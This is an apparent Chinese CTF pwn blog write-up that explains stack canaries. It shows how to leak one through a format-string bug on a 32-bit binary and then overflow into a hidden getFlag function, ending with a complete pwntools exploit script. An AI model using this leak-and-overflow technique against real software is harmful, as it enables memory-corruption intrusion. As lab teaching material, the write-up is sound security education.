CTF中的PWN——繞canary防護1(32bit 格式化字符串漏洞leak canary 棧溢出)

前言:

    金絲雀:

    canary就像哨兵一樣,由程序運行時隨機產生。在函數返回之前,程序檢測這個值以確認棧未被破壞,達到避免攻擊的目的。程序會使用fs:x來進行保護,這個地址指向了一個我們無法看到的隨機值,並且fs是一個由內核維護的結構

如果金絲雀(canary)的值被修改了,棧溢出發生了,保存的指令指針可能也被修改了,因此不能安全返回,函數會調用__stack_chk_fail函數。這個函數會做些處理,然後丟出一個錯誤退出進程。

    基本繞過方式:由於Canary保護僅僅是檢查canary是否被改寫,而不會檢查其他棧內容因此如果攻擊者能夠泄露出canary的值(一般都是利用格式化字符串漏洞),便可以在構造攻擊負載時填充正確的canary,從而繞過canary檢查,達到實施攻擊的目的。

    注意:一個程序中的所有函數應該都有棧保護。下述例子中每個函數的canary對比的地址都是fs:14,推斷所有函數返回前對比的隨機值都是一個!!!

    例題:

    查看程序詳細信息:

    程序有着棧保護及NX保護,將文件拖入IDA中分析:

     上圖中存在格式化字符串漏洞,可以直接利用其leak金絲雀的值。

    fun函數中存在棧溢出的情況,查看程序其他函數發現 getFlag函數,那麼PWN此程序的思路就是使用格式化字符串漏洞leak金絲雀的值,然後添加canary再溢出即可。調試程序並leak金絲雀過程如下:

    本文給fun函數下斷點方便分析:

    運行程序:

 

    輸入aaaa,繼續調試,:

    發現canary的位置爲ebp - 0xc ,找到canary的位置,計算格式化字符串偏移量爲7:

     進入fun函數繼續分析:

    canary的位置在ebp + var_C,溢出點在ebp - 70h查看fun函數棧:

 

    溢出點到fun函數內的canary距離爲 0x70 - 0x0c =  100,那麼payload如下:

from pwn import *

p = process('./bin')

payload = '%7$x'
p.sendline(payload)
canary = int(p.recv(),16)
 
catFlag_addr = 0x0804863B

payload = 'A' * 100 + p32(canary) + 'A' * 12 + p32(catFlag_addr)

p.sendline(payload)
p.interactive()

    運行結果如下:

    可以看到 system ('cat flag')執行。

    結語:

    第一次繞過canary,寫的有點囉嗦,這種PWN的方法只是繞canary衆多方法中的一種,後續繼續更新。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章